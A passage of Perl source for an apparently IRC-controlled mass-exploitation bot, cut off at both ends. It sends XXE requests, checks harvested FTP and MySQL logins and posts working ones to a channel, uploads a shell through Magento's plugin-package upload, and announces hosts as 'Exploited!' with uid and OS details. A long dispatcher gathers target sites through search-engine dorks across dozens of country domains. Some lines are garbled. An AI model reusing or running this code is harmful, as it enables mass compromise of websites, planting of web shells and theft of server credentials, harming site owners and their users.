/SAFE_MODE : (.*?)<\/b>/){$safe=$1;} if ($shellx =~ /Uname : (.*?)<\/b>/){$os=$1;} if ($shellx =~ /uid=(.*?)gid=/){$uid=$1;} &msg("$channel","$logo(7@2$engine15) 4Exploited! Safemode $safe 5Sent To $channelnel 3$os 7Uid= $uid "); &msg("$channel","$logo(7@2$engine15) 4Shell $safe 12".$test1." 3$os 7Uid=$uid 14Dork: $dork"); } } sub xxe_query() { my $jembut = $_[0]; my $userAgent = LWP::UserAgent->new(agent => 'perl post'); $b = ""; $b .= " ]>"; $b .= "&xxe;"; my $response = $userAgent->request(POST $jembut , Content_Type => 'text/xml', Content => $b); return $response->content; } sub xxe(){ my $channel = $_[0]; my $ua = LWP::UserAgent->new(agent => 'curl -x post -d'); $exploit = ""; $exploit .= ""; $exploit .= "]>"; $exploit .= "&xxe;"; $ua->timeout(2); my $res = $ua->request(POST $url, Content_Type => 'api/xmlrpc', Content => $exploit); return $res->content; } sub ftp_connect { my $url = $_[0]; my $host = $_[1]; my $user = $_[2]; my $pass = $_[3]; my $channel = $_[4]; my $engine = $_[5]; my $logo = $_[6]; my $success = 1; use Net::FTP; my $ftp = Net::FTP->new($host, Debug => 0, Timeout => 7); $success = 0 if $ftp->login($user,$pass); $ftp->quit; if ($success == 0) { &msg("$channel","$magelogo [FTP] [ http://".$host." ] [ ".$user." : ".$pass." ]"); } } sub ftp_connect2 { my $url = $_[0]; my $host = $_[1]; my $userr = $_[2]; my $pass = $_[3]; my $channel = $_[4]; my $engine = $_[5]; my $logo = $_[6]; my $success = 1; use Net::FTP; my $ftp = Net::FTP->new($host, Debug => 0, Timeout => 7); $success = 0 if $ftp->login($userr,$pass); $ftp->quit; if ($success == 0) { &msg("$channel","$magelogo [FTP] [ http://".$host." ] [ ".$userr." : ".$pass." ]"); } } sub dbi_connect () { my $host = $_[0]; my $user = $_[1]; my $pass = $_[2]; my $dbname = $_[3]; my $channel = $_[4]; my $engine = $_[5]; my $logo = $_[6]; my $port = "3306"; my $platform = "mysql"; my $dsn = "dbi:$platform:$dbname:$host:$port"; my $DBIconnect= DBI->connect($dsn,$user,$pass); if ($DBIconnect) { &msg("$channel","$magelogo [FTP] MySql [ http://".$host." ] [ ".$user." : ".$pass." ]"); } } sub magento_query() { my $url = $_[0]; my $ua = LWP::UserAgent->new(agent => $uagent); $ua->timeout(20); my $req = $ua->post($url, Content_Type=>'multipart/form-data', Content=>["plugin_package"=>["$mag_shell"]]); return $req->content; } sub magentox_query() { my $url = $_[0]; my $ua = LWP::UserAgent->new(agent => $uagent); $ua->timeout(20); my $req = $ua->post($url, Content_Type=>'multipart/form-data', Content=>["plugin_package"=>["$mag_shell"]]); return $req->content; } ################################################################################## sub search_engine() { my (@total,@clean); my $channel = $_[0]; my $bug = $_[1]; my $dork = $_[2]; my $engine = $_[3]; my $logo = $_[4]; my @vulnn = "+logo","+?p=","+page_id=","+/wp-content","Index of /wp-content +/cache","All rights reserved","?src=","2012","horde","Powered BY","shop","welcome","allright","copyright","construct","mall","mart","industry","book","store"; my $vuln = $vulnn[rand(scalar(@vulnn))]; if ($engine eq "JacKAE") { my @jackae = &jack($dork."+site:ae",$jack1); push(@total,@jackae); } if ($engine eq "JacKAR") { my @jackar = &jack($dork."+site:ar",$jack1); push(@total,@jackar); } if ($engine eq "JacKAT") { my @jackat = &jack($dork."+site:at",$jack1); push(@total,@jackat); } if ($engine eq "JacKAU") { my @jackau = &jack($dork."+site:au",$jack2); push(@total,@jackau); } if ($engine eq "JacKBR") { my @jackbr = &jack($dork."+site:br",$jack2); push(@total,@jackbr); } if ($engine eq "JacKCA") { my @jackca = &jack($dork."+site:ca",$jack2); push(@total,@jackca); } if ($engine eq "JacKCL") { my @jackcl = &jack($dork."+site:cl",$jack3); push(@total,@jackcl); } if ($engine eq "JacKCN") { my @jackcn = &jack($dork."+site:cn",$jack3); push(@total,@jackcn); } if ($engine eq "JacKCoM") { my @jackcom = &jack($dork."+site:com",$jack27); push(@total,@jackcom); } if ($engine eq "JacKCZ") { my @jackcz = &jack($dork."+site:cz",$jack4); push(@total,@jackcz); } if ($engine eq "JacKDE") { my @jackde = &jack($dork."+site:de",$jack4); push(@total,@jackde); } if ($engine eq "JacKDK") { my @jackdk = &jack($dork."+site:dk",$jack4); push(@total,@jackdk); } if ($engine eq "JacKES") { my @jackes = &jack($dork."+site:es",$jack5); push(@total,@jackes); } if ($engine eq "JacKEU") { my @jackeu = &jack($dork."+site:eu",$jack5); push(@total,@jackeu); } if ($engine eq "JacKFR") { my @jackfr = &jack($dork."+site:fr",$jack5); push(@total,@jackfr); } if ($engine eq "JacKHU") { my @jackhu = &jack($dork."+site:hu",$jack6); push(@total,@jackhu); } if ($engine eq "JacKID") { my @jackid = &jack($dork."+site:id",$jack6); push(@total,@jackid); } if ($engine eq "JacKIL") { my @jackil = &jack($dork."+site:il",$jack6); push(@total,@jackil); } if ($engine eq "JacKIN") { my @jackin = &jack($dork."+site:in",$jack7); push(@total,@jackin); } if ($engine eq "JacKInfO") { my @jackinfo = &jack($dork."+site:info",$jack7); push(@total,@jackinfo); } if ($engine eq "JacKIR") { my @jackir = &jack($dork."+site:ir",$jack7); push(@total,@jackir); } if ($engine eq "JacKIT") { my @jackit = &jack($dork."+site:it",$jack8); push(@total,@jackit); } if ($engine eq "JacKJP") { my @jackjp = &jack($dork."+site:jp",$jack8); push(@total,@jackjp); } if ($engine eq "JacKKR") { my @jackkr = &jack($dork."+site:kr",$jack8); push(@total,@jackkr); } if ($engine eq "JacKMX") { my @jackmx = &jack($dork."+site:mx",$jack9); push(@total,@jackmx); } if ($engine eq "JacKMY") { my @jackmy = &jack($dork."+site:my",$jack9); push(@total,@jackmy); } if ($engine eq "JacKNeT") { my @jacknet = &jack($dork."+site:net",$jack9); push(@total,@jacknet); } if ($engine eq "JacKNL") { my @jacknl = &jack($dork."+site:nl",$jack10); push(@total,@jacknl); } if ($engine eq "JacKOrG") { my @jackorg = &jack($dork."+site:org",$jack10); push(@total,@jackorg); } if ($engine eq "JacKPH") { my @jackph = &jack($dork."+site:ph",$jack10); push(@total,@jackph); } if ($engine eq "JacKPL") { my @jackpl = &jack($dork."+site:pl",$jack11); push(@total,@jackpl); } if ($engine eq "JacKRO") { my @jackro = &jack($dork."+site:ro",$jack11); push(@total,@jackro); } if ($engine eq "JacKRU") { my @jackru = &jack($dork."+site:ru",$jack11); push(@total,@jackru); } if ($engine eq "JacKTH") { my @jackth = &jack($dork."+site:th",$jack12); push(@total,@jackth); } if ($engine eq "JacKUA") { my @jackua = &jack($dork."+site:ua",$jack12); push(@total,@jackua); } if ($engine eq "JacKUK") { my @jackuk = &jack($dork."+site:uk",$jack12); push(@total,@jackuk); } if ($engine eq "JacKUS") { my @jackus = &jack($dork."+site:us",$jack13); push(@total,@jackus); } if ($engine eq "JacKBA") { my @jackba = &jack($dork."+site:ba",$jack13); push(@total,@jackba); } if ($engine eq "JacKBB") { my @jackbb = &jack($dork."+site:bb",$jack13); push(@total,@jackbb); } if ($engine eq "JacKBD") { my @jackbd = &jack($dork."+site:bd",$jack14); push(@total,@jackbd); } if ($engine eq "JacKCC") { my @jackcc = &jack($dork."+site:cc",$jack14); push(@total,@jackcc); } if ($engine eq "JacKCO") { my @jackco = &jack($dork."+site:co",$jack14); push(@total,@jackco); } if ($engine eq "JacKCM") { my @jackcm = &jack($dork."+site:cm",$jack15); push(@total,@jackcm); } if ($engine eq "JacKHK") { my @jackhk = &jack($dork."+site:hk",$jack15); push(@total,@jackhk); } if ($engine eq "JacKNG") { my @jackng = &jack($dork."+site:ng",$jack15); push(@total,@jackng); } if ($engine eq "JacKTR") { my @jacktr = &jack($dork."+site:tr",$jack16); push(@total,@jacktr); } if ($engine eq "JacKZA") { my @jackza = &jack($dork."+site:za",$jack16); push(@total,@jackza); } if ($engine eq "JacKTW") { my @jacktw = &jack($dork."+site:tw",$jack16); push(@total,@jacktw); } if ($engine eq "JacKTV") { my @jacktv = &jack($dork."+site:tv",$jack17); push(@total,@jacktv); } if ($engine eq "JacKPE") { my @jackpe = &jack($dork."+site:pe",$jack17); push(@total,@jackpe); } if ($engine eq "JacKLR") { my @jacklr = &jack($dork."+site:lr",$jack17); push(@total,@jacklr); } if ($engine eq "JacKIS") { my @jackis = &jack($dork."+site:is",$jack18); push(@total,@jackis); } if ($engine eq "JacKFI") { my @jackfi = &jack($dork."+site:fi",$jack18); push(@total,@jackfi); } if ($engine eq "JacKEG") { my @jackeg = &jack($dork."+site:eg",$jack18); push(@total,@jackeg); } if ($engine eq "JacKAQ") { my @jackaq = &jack($dork."+site:aq",$jack19); push(@total,@jackaq); } if ($engine eq "JacKVI") { my @jackvi = &jack($dork."+site:vi",$jack19); push(@total,@jackvi); } if ($engine eq "JacKSY") { my @jacksy = &jack($dork."+site:sy",$jack19); push(@total,@jacksy); } if ($engine eq "JacKLY") { my @jackly = &jack($dork."+site:ly",$jack20); push(@total,@jackly); } if ($engine eq "JacKMC") { my @jackmc = &jack($dork."+site:mc",$jack20); push(@total,@jackmc); } if ($engine eq "JacKPT") { my @jackpt = &jack($dork."+site:pt",$jack20); push(@total,@jackpt); } if ($engine eq "JacKVE") { my @jackve = &jack($dork."+site:ve",$jack21); push(@total,@jackve); } if ($engine eq "JacKUY") { my @jackuy = &jack($dork."+site:uy",$jack21); push(@total,@jackuy); } if ($engine eq "JacKEH") { my @jackeh = &jack($dork."+site:eh",$jack21); push(@total,@jackeh); } if ($engine eq "JacKGB") { my @jackgb = &jack($dork."+site:gb",$jack22); push(@total,@jackgb); } if ($engine eq "JacKVN") { my @jackvn = &jack($dork."+site:vn",$jack22); push(@total,@jackvn); } if ($engine eq "JacKWF") { my @jackwf = &jack($dork."+site:wf",$jack22); push(@total,@jackwf); } if ($engine eq "JacKUZ") { my @jackuz = &jack($dork."+site:uz",$jack23); push(@total,@jackuz); } if ($engine eq "JacKTC") { my @jacktc = &jack($dork."+site:tc",$jack23); push(@total,@jacktc); } if ($engine eq "JacKCH") { my @jackch = &jack($dork."+site:ch",$jack23); push(@total,@jackch); } if ($engine eq "JacKSB") { my @jacksb = &jack($dork."+site:sb",$jack24); push(@total,@jacksb); } if ($engine eq "JacKSG") { my @jacksg = &jack($dork."+site:sg",$jack25); push(@total,@jacksg); } if ($engine eq "JacKSA") { my @jacksa = &jack($dork."+site:sa",$jack25); push(@total,@jacksa); } if ($engine eq "JacKSK") { my @jacksk = &jack($dork."+site:sk",$jack25); push(@total,@jacksk); } if ($engine eq "JacKSI") { my @jacksi = &jack($dork."+site:si",$jack26); push(@total,@jacksi); } if ($engine eq "JacKBE") { my @jackbe = &jack($dork."+site:be",$jack26); push(@total,@jackbe); } if ($engine eq "JacKBIZ") { my @jackbiz = &jack($dork."+site:biz",$jack26); push(@total,@jackbiz); } if ($engine eq "GooGLe") { my @google = &google($dork); push(@total,@google); } if ($engine eq "GooGLeCA") { my @googleCA = googleCA($dork); push(@total,@googleCA); } if ($engine eq "GooGLeDE") { my @googleDE = googleDE($dork); push(@total,@googleDE); } if ($engine eq "GooGLeUK") { my @googleUK = googleUK($dork); push(@total,@googleUK); } if ($engine eq "GooGLeFR") { my @googleFR = googleFR($dork); push(@total,@googleFR); } if ($engine eq "GooGLeES") { my @googleES = googleES($dork); push(@total,@googleES); } if ($engine eq "GooGLeIT") { my @googleIT = googleIT($dork); push(@total,@googleIT); } if ($engine eq "GooGLeNL") { my @googleNL = googleNL($dork); push(@total,@googleNL); } if ($engine eq "GooGLeBE") { my @googleBE = googleBE($dork); push(@total,@googleBE); } if ($engine eq "GooGLeCH") { my @googleCH = googleCH($dork); push(@total,@googleCH); } if ($engine eq "GooGLeSE") { my @googleSE = googleSE($dork); push(@total,@googleSE); } if ($engine eq "GooGLeDK") { my @googleDK = googleDK($dork); push(@total,@googleDK); } if ($engine eq "GooGLeNO") { my @googleNO = googleNO($dork); push(@total,@googleNO); } if ($engine eq "GooGLeNZ") { my @googleNZ = googleNZ($dork); push(@total,@googleNZ); } if ($engine eq "GooGLeIE") { my @googleIE = googleIE($dork); push(@total,@googleIE); } if ($engine eq "GooGLeBR") { my @googleBR = googleBR($dork); push(@total,@googleBR); } if ($engine eq "GooGLeAR") { my @googleAR = googleAR($dork); push(@total,@googleAR); } if ($engine eq "GooGLeCO") { my @googleCO = googleCO($dork); push(@total,@googleCO); } if ($engine eq "GooGLeCU") { my @googleCU = googleCU($dork); push(@total,@googleCU); } if ($engine eq "GooGLeCL") { my @googleCL = googleCL($dork); push(@total,@googleCL); } if ($engine eq "GooGLeMX") { my @googleMX = googleMX($dork); push(@total,@googleMX); } if ($engine eq "GooGLeAU") { my @googleAU = googleAU($dork); push(@total,@googleAU); } if ($engine eq "GooGLeRU") { my @googleRU = googleRU($dork); push(@total,@googleRU); } if ($engine eq "GooGLeAT") { my @googleAT = googleAT($dork); push(@total,@googleAT); } if ($engine eq "GooGLePL") { my @googlePL = googlePL($dork); push(@total,@googlePL); } if ($engine eq "GooGLeIL") { my @googleIL = googleIL($dork); push(@total,@googleIL); } if ($engine eq "GooGLeTR") { my @googleTR = googleTR($dork); push(@total,@googleTR); } if ($engine eq "GooGLeUA") { my @googleUA = googleUA($dork); push(@total,@googleUA); } if ($engine eq "GooGLeGR") { my @googleGR = googleGR($dork); push(@total,@googleGR); } if ($engine eq "GooGLeJP") { my @googleJP = googleJP($dork); push(@total,@googleJP); } if ($engine eq "GooGLeCN") { my @googleCN = googleCN($dork); push(@total,@googleCN); } if ($engine eq "GooGLeMY") { my @googleMY = googleMY($dork); push(@total,@googleMY); } if ($engine eq "GooGLeTH") { my @googleTH = googleTH($dork); push(@total,@googleTH); } if ($engine eq "GooGLeIN") { my @googleIN = googleIN($dork); push(@total,@googleIN); } if ($engine eq "GooGLeKR") { my @googleKR = googleKR($dork); push(@total,@googleKR); } if ($engine eq "GooGLeRO") { my @googleRO = googleRO($dork); push(@total,@googleRO); } if ($engine eq "GooGLeTW") { my @googleTW = googleTW($dork); push(@total,@googleTW); } if ($engine eq "GooGLeZA") { my @googleZA = googleZA($dork); push(@total,@googleZA); } if ($engine eq "GooGLePT") { my @googlePT = googlePT($dork); push(@total,@googlePT); } if ($engine eq "WaLLa") { my @walla = &walla($dork); push(@total,@walla); } if ($engine eq "AsK") { my @ask = &ask($dork); push(@total,@ask); } if ($engine eq "Bing") { my @bing = &bing($dork); push(@total,@bing); } if ($engine eq "UoL") { my @uol = &uol($dork); push(@total,@uol); } if ($engine eq "OnEt") { my @onet = &onet($dork); push(@total,@onet); } if ($engine eq "CLusTy") { my @clusty = &clusty($dork); push(@total,@clusty); } if ($engine eq "SaPo") { my @sapo = &sapo($dork); push(@total,@sapo); } if ($engine eq "AoL") { my @aol = &aol($dork); push(@total,@aol); } if ($engine eq "LyCos") { my @lycos = &lycos($dork); push(@total,@lycos); } if ($engine eq "HotBot") { my @hotbot = &hotbot($dork); push(@total,@hotbot); } if ($engine eq "SeZNam") { my @seznam = &seznam($dork); push(@total,@seznam); } if ($engine eq "BigLobe") { my @biglobe = &biglobe($dork); push(@total,@biglobe); } if ($engine eq "AE") { my @ae = &ae($dork); push(@total,@ae); } if ($engine eq "AR") { my @ar = &ar($dork); push(@total,@ar); } if ($engine eq "AT") { my @at = &at($dork); push(@total,@at); } if ($engine eq "AU") { my @au = &au($dork); push(@total,@au); } if ($engine eq "BR") { my @br = &br($dork); push(@total,@br); } if ($engine eq "CA") { my @ca = &ca($dork); push(@total,@ca); } if ($engine eq "CL") { my @cl = &cl($dork); push(@total,@cl); } if ($engine eq "CN") { my @cn = &cn($dork); push(@total,@cn); } if ($engine eq "CoM") { my @com = &com($dork); push(@total,@com); } if ($engine eq "CZ") { my @cz = &cz($dork); push(@total,@cz); } if ($engine eq "DE") { my @de = &de($dork); push(@total,@de); } if ($engine eq "DK") { my @dk = &dk($dork); push(@total,@dk); } if ($engine eq "ES") { my @es = &es($dork); push(@total,@es); } if ($engine eq "EU") { my @eu = &eu($dork); push(@total,@eu); } if ($engine eq "FR") { my @fr = &fr($dork); push(@total,@fr); } if ($engine eq "HU") { my @hu = &hu($dork); push(@total,@hu); } if ($engine eq "ID") { my @id = &id($dork); push(@total,@id); } if ($engine eq "IL") { my @il = &il($dork); push(@total,@il); } if ($engine eq "IN") { my @in = &in($dork); push(@total,@in); } if ($engine eq "InfO") { my @info = &info($dork); push(@total,@info); } if ($engine eq "IR") { my @ir = &ir($dork); push(@total,@ir); } if ($engine eq "IT") { my @it = &it($dork); push(@total,@it); } if ($engine eq "JP") { my @jp = &jp($dork); push(@total,@jp); } if ($engine eq "KR") { my @kr = &kr($dork); push(@total,@kr); } if ($engine eq "MX") { my @mx = &mx($dork); push(@total,@mx); } if ($engine eq "MY") { my @my = &my($dork); push(@total,@my); } if ($engine eq "NeT") { my @net = &net($dork); push(@total,@net); } if ($engine eq "NL") { my @nl = &nl($dork); push(@total,@nl); } if ($engine eq "OrG") { my @org = &org($dork); push(@total,@org); } if ($engine eq "PH") { my @ph = &ph($dork); push(@total,@ph); } if ($engine eq "PL") { my @pl = &pl($dork); push(@total,@pl); } if ($engine eq "RO") { my @ro = &ro($dork); push(@total,@ro); } if ($engine eq "RU") { my @ru = &ru($dork); push(@total,@ru); } if ($engine eq "TH") { my @th = &th($dork); push(@total,@th); } if ($engine eq "UA") { my @ua = &ua($dork); push(@total,@ua); } if ($engine eq "UK") { my @uk = &uk($dork); push(@total,@uk); } if ($engine eq "US") { my @us = &us($dork); push(@total,@us); } if ($engine eq "SI") { my @si = &si($dork); push(@total,@si); } if ($engine eq "BE") { my @be = &be($dork); push(@total,@be); } if ($engine eq "BIZ") { my @biz = &biz($dork); push(@total,@biz); } if ($engine eq "XXX") { my @xxx = &xxx($dork); push(@total,@xxx); } if ($engine eq "TEL") { my @tel = &tel($dork); push(@total,@tel); } if ($engine eq "TV") { my @tv = &tv($dork); push(@total,@tv); } if ($engine eq "CC") { my @cc = &cc($dork); push(@total,@cc); } if ($engine eq "MIL") { my @mil = &mil($dork); push(@total,@mil); } if ($engine eq "ASIA") { my @asia = &asia($dork); push(@total,@asia); } if ($engine eq "NAME") { my @name = &name($dork); push(@total,@name); } if ($engine eq "PRO") { my @pro = &pro($dork); push(@total,@pro); } if ($engine eq "TRAVEL") { my @travel = &travel($dork); push(@total,@travel); } if ($engine eq "JOBS") { my @jobs = &jobs($dork); push(@total,@jobs); } if ($engine eq "MOBI") { my @mobi = &mobi($dork); push(@total,@mobi); } if ($engine eq "AERO") { my @aero = &aero($dork); push(@total,@aero); } if ($engine eq "CAT") { my @cat = &cat($dork); push(@total,@cat); } if ($engine eq "COOP") { my @coop = &coop($dork); push(@total,@coop); } if ($engine eq "EDU") { my @edu = &edu($dork); push(@total,@edu); } if ($engine eq "GOV") { my @gov = &gov($dork); push(@total,@gov); } if ($engine eq "AS") { my @as = &as($dork); push(@total,@as); } if ($engine eq "AI") { my @ai = &ai($dork); push(@total,@ai); } if ($engine eq "AG") { my @ag = &ag($dork); push(@total,@ag); } if ($engine eq "AZ") { my @az = &az($dork); push(@total,@az); } if ($engine eq "BH") { my @bh = &bh($dork); push(@total,@bh); } if ($engine eq "BD") { my @bd = &bd($dork); push(@total,@bd); } if ($engine eq "BZ") { my @bz = &bz($dork); push(@total,@bz); } if ($engine eq "BO") { my @bo = &bo($dork); push(@total,@bo); } if ($engine eq "BA") { my @ba = &ba($dork); push(@total,@ba); } if ($engine eq "VG") { my @vg = &vg($dork); push(@total,@vg); } if ($engine eq "BG") { my @bg = &bg($dork); push(@total,@bg); } if ($engine eq "BI") { my @bi = &bi($dork); push(@total,@bi); } if ($engine eq "CO") { my @co = &co($dork); push(@total,@co); } if ($engine eq "CD") { my @cd = &cd($dork); push(@total,@cd); } if ($engine eq "CG") { my @cg = &cg($dork); push(@total,@cg); } if ($engine eq "CK") { my @ck = &ck($dork); push(@total,@ck); } if ($engine eq "CR") { my @cr = &cr($dork); push(@total,@cr); } if ($engine eq "HR") { my @hr = &hr($dork); push(@total,@hr); } if ($engine eq "CU") { my @cu = &cu($dork); push(@total,@cu); } if ($engine eq "CI") { my @ci = &ci($dork); push(@total,@ci); } if ($engine eq "DJ") { my @dj = &dj($dork); push(@total,@dj); } if ($engine eq "DM") { my @dm = &dm($dork); push(@total,@dm); } if ($engine eq "DO") { my @do = &do($dork); push(@total,@do); } if ($engine eq "EC") { my @ec = &ec($dork); push(@total,@ec); } if ($engine eq "EG") { my @eg = &eg($dork); push(@total,@eg); } if ($engine eq "SV") { my @sv = &sv($dork); push(@total,@sv); } if ($engine eq "EE") { my @ee = &ee($dork); push(@total,@ee); } if ($engine eq "ET") { my @et = &et($dork); push(@total,@et); } if ($engine eq "FJ") { my @fj = &fj($dork); push(@total,@fj); } if ($engine eq "FI") { my @fi = &fi($dork); push(@total,@fi); } if ($engine eq "GM") { my @gm = &gm($dork); push(@total,@gm); } if ($engine eq "GI") { my @gi = &gi($dork); push(@total,@gi); } if ($engine eq "GR") { my @gr = &gr($dork); push(@total,@gr); } if ($engine eq "GL") { my @gl = &gl($dork); push(@total,@gl); } if ($engine eq "GT") { my @gt = >($dork); push(@total,@gt); } if ($engine eq "GG") { my @gg = &gg($dork); push(@total,@gg); } if ($engine eq "HT") { my @ht = &ht($dork); push(@total,@ht); } if ($engine eq "HN") { my @hn = &hn($dork); push(@total,@hn); } if ($engine eq "HK") { my @hk = &hk($dork); push(@total,@hk); } if ($engine eq "IS") { my @is = &is($dork); push(@total,@is); } if ($engine eq "IE") { my @ie = &ie($dork); push(@total,@ie); } if ($engine eq "IM") { my @im = &im($dork); push(@total,@im); } if ($engine eq "JE") { my @je = &je($dork); push(@total,@je); } if ($engine eq "JO") { my @jo = &jo($dork); push(@total,@jo); } if ($engine eq "KZ") { my @kz = &kz($dork); push(@total,@kz); } if ($engine eq "KE") { my @ke = &ke($dork); push(@total,@ke); } if ($engine eq "KG") { my @kg = &kg($dork); push(@total,@kg); } if ($engine eq "LV") { my @lv = &lv($dork); push(@total,@lv); } if ($engine eq "LS") { my @ls = &ls($dork); push(@total,@ls); } if ($engine eq "LY") { my @ly = &ly($dork); push(@total,@ly); } if ($engine eq "LI") { my @li = &li($dork); push(@total,@li); } if ($engine eq "LT") { my @lt = <($dork); push(@total,@lt); } if ($engine eq "LU") { my @lu = &lu($dork); push(@total,@lu); } if ($engine eq "MW") { my @mw = &mw($dork); push(@total,@mw); } if ($engine eq "MT") { my @mt = &mt($dork); push(@total,@mt); } if ($engine eq "MU") { my @mu = &mu($dork); push(@total,@mu); } if ($engine eq "FM") { my @fm = &fm($dork); push(@total,@fm); } if ($engine eq "MN") { my @mn = &mn($dork); push(@total,@mn); } if ($engine eq "MS") { my @ms = &ms($dork); push(@total,@ms); } if ($engine eq "MA") { my @ma = &ma($dork); push(@total,@ma); } if ($engine eq "NA") { my @na = &na($dork); push(@total,@na); } if ($engine eq "NP") { my @np = &np($dork); push(@total,@np); } if ($engine eq "NZ") { my @nz = &nz($dork); push(@total,@nz); } if ($engine eq "NI") { my @ni = &ni($dork); push(@total,@ni); } if ($engine eq "NF") { my @nf = &nf($dork); push(@total,@nf); } if ($engine eq "NO") { my @no = &no($dork); push(@total,@no); } if ($engine eq "OM") { my @om = &om($dork); push(@total,@om); } if ($engine eq "PK") { my @pk = &pk($dork); push(@total,@pk); } if ($engine eq "PA") { my @pa = &pa($dork); push(@total,@pa); } if ($engine eq "PY") { my @py = &py($dork); push(@total,@py); } if ($engine eq "PE") { my @pe = &pe($dork); push(@total,@pe); } if ($engine eq "PN") { my @pn = &pn($dork); push(@total,@pn); } if ($engine eq "PT") { my @pt = &pt($dork); push(@total,@pt); } if ($engine eq "PR") { my @pr = &pr($dork); push(@total,@pr); } if ($engine eq "QA") { my @qa = &qa($dork); push(@total,@qa); } if ($engine eq "RW") { my @rw = &rw($dork); push(@total,@rw); } if ($engine eq "SH") { my @sh = &sh($dork); push(@total,@sh); } if ($engine eq "SM") { my @sm = &sm($dork); push(@total,@sm); } if ($engine eq "SA") { my @sa = &sa($dork); push(@total,@sa); } if ($engine eq "SN") { my @sn = &sn($dork); push(@total,@sn); } if ($engine eq "SC") { my @sc = &sc($dork); push(@total,@sc); } if ($engine eq "SG") { my @sg = &sg($dork); push(@total,@sg); } if ($engine eq "SK") { my @sk = &sk($dork); push(@total,@sk); } if ($engine eq "ZA") { my @za = &za($dork); push(@total,@za); } if ($engine eq "LK") { my @lk = &lk($dork); push(@total,@lk); } if ($engine eq "VC") { my @vc = &vc($dork); push(@total,@vc); } if ($engine eq "SE") { my @se = &se($dork); push(@total,@se); } if ($engine eq "CH") { my @ch = &ch($dork); push(@total,@ch); } if ($engine eq "TW") { my @tw = &tw($dork); push(@total,@tw); } if ($engine eq "TJ") { my @tj = &tj($dork); push(@total,@tj); } if ($engine eq "BS") { my @bs = &bs($dork); push(@total,@bs); } if ($engine eq "TO") { my @to = &to($dork); push(@total,@to); } if ($engine eq "TT") { my @tt = &tt($dork); push(@total,@tt); } if ($engine eq "TR") { my @tr = &tr($dork); push(@total,@tr); } if ($engine eq "TM") { my @tm = &tm($dork); push(@total,@tm); } if ($engine eq "VI") { my @vi = &vi($dork); push(@total,@vi); } if ($engine eq "UG") { my @ug = &ug($dork); push(@total,@ug); } if ($engine eq "UY") { my @uy = &uy($dork); push(@total,@uy); } if ($engine eq "UZ") { my @uz = &uz($dork); push(@total,@uz); } if ($engine eq "VE") { my @ve = &ve($dork); push(@total,@ve); } if ($engine eq "VN") { my @vn = &vn($dork); push(@total,@vn); } if ($engine eq "ZM") { my @zm = &zm($dork); push(@total,@zm); } if ($engine eq "ws") { my @ws = &ws($dork); push(@total,@ws); } if ($engine eq "af") { my @af = &af($dork); push(@total,@af); } if ($engine eq "ax") { my @ax = &ax($dork); push(@total,@ax); } if ($engine eq "al") { my @al = &al($dork); push(@total,@al); } if ($engine eq "dz") { my @dz = &dz($dork); push(@total,@dz); } if ($engine eq "ao") { my @ao = &ao($dork); push(@total,@ao); } if ($engine eq "aq") { my @aq = &aq($dork); push(@total,@aq); } if ($engine eq "am") { my @am = &am($dork); push(@total,@am); } if ($engine eq "aw") { my @aw = &aw($dork); push(@total,@aw); } if ($engine eq "ac") { my @ac = &ac($dork); push(@total,@ac); } if ($engine eq "bj") { my @bj = &bj($dork); push(@total,@bj); } if ($engine eq "bm") { my @bm = &bm($dork); push(@total,@bm); } if ($engine eq "bt") { my @bt = &bt($dork); push(@total,@bt); } if ($engine eq "bw") { my @bw = &bw($dork); push(@total,@bw); } if ($engine eq "io") { my @io = &io($dork); push(@total,@io); } if ($engine eq "bn") { my @bn = &bn($dork); push(@total,@bn); } if ($engine eq "bf") { my @bf = &bf($dork); push(@total,@bf); } if ($engine eq "kh") { my @kh = &kh($dork); push(@total,@kh); } if ($engine eq "cm") { my @cm = &cm($dork); push(@total,@cm); } if ($engine eq "cv") { my @cv = &cv($dork); push(@total,@cv); } if ($engine eq "ky") { my @ky = &ky($dork); push(@total,@ky); } if ($engine eq "cf") { my @cf = &cf($dork); push(@total,@cf); } if ($engine eq "cx") { my @cx = &cx($dork); push(@total,@cx); } if ($engine eq "cw") { my @cw = &cw($dork); push(@total,@cw); } if ($engine eq "cy") { my @cy = &cy($dork); push(@total,@cy); } if ($engine eq "fk") { my @fk = &fk($dork); push(@total,@fk); } if ($engine eq "fo") { my @fo = &fo($dork); push(@total,@fo); } if ($engine eq "gh") { my @gh = &gh($dork); push(@total,@gh); } if ($engine eq "gd") { my @gd = &gd($dork); push(@total,@gd); } if ($engine eq "gp") { my @gp = &gp($dork); push(@total,@gp); } if ($engine eq "gu") { my @gu = &gu($dork); push(@total,@gu); } if ($engine eq "gn") { my @gn = &gn($dork); push(@total,@gn); } if ($engine eq "gy") { my @gy = &gy($dork); push(@total,@gy); } if ($engine eq "hm") { my @hm = &hm($dork); push(@total,@hm); } if ($engine eq "iq") { my @iq = &iq($dork); push(@total,@iq); } if ($engine eq "jm") { my @jm = &jm($dork); push(@total,@jm); } if ($engine eq "ki") { my @ki = &ki($dork); push(@total,@ki); } if ($engine eq "kw") { my @kw = &kw($dork); push(@total,@kw); } if ($engine eq "la") { my @la = &la($dork); push(@total,@la); } if ($engine eq "lb") { my @lb = &lb($dork); push(@total,@lb); } if ($engine eq "lr") { my @lr = &lr($dork); push(@total,@lr); } if ($engine eq "mo") { my @mo = &mo($dork); push(@total,@mo); } if ($engine eq "mg") { my @mg = &mg($dork); push(@total,@mg); } if ($engine eq "mv") { my @mv = &mv($dork); push(@total,@mv); } if ($engine eq "mp") { my @mp = &mp($dork); push(@total,@mp); } if ($engine eq "mq") { my @mq = &mq($dork); push(@total,@mq); } if ($engine eq "mr") { my @mr = &mr($dork); push(@total,@mr); } if ($engine eq "yt") { my @yt = &yt($dork); push(@total,@yt); } if ($engine eq "md") { my @md = &md($dork); push(@total,@md); } if ($engine eq "mc") { my @mc = &mc($dork); push(@total,@mc); } if ($engine eq "me") { my @me = &me($dork); push(@total,@me); } if ($engine eq "mz") { my @mz = &mz($dork); push(@total,@mz); } if ($engine eq "nr") { my @nr = &nr($dor); push(@total,@nr); } if ($engine eq "nc") { my @nc = &nc($dork); push(@total,@nc); } if ($engine eq "ng") { my @ng = &ng($dork); push(@total,@ng); } if ($engine eq "nu") { my @nu = &nu($dork); push(@total,@nu); } if ($engine eq "pw") { my @pw = &pw($dork); push(@total,@pw); } if ($engine eq "ps") { my @ps = &ps($dork); push(@total,@ps); } if ($engine eq "cq") { my @cq = &cq($dork); push(@total,@cq); } if ($engine eq "re") { my @re = &re($dork); push(@total,@re); } if ($engine eq "lc") { my @lc = &lc($dork); push(@total,@lc); } if ($engine eq "pm") { my @pm = &pm($dork); 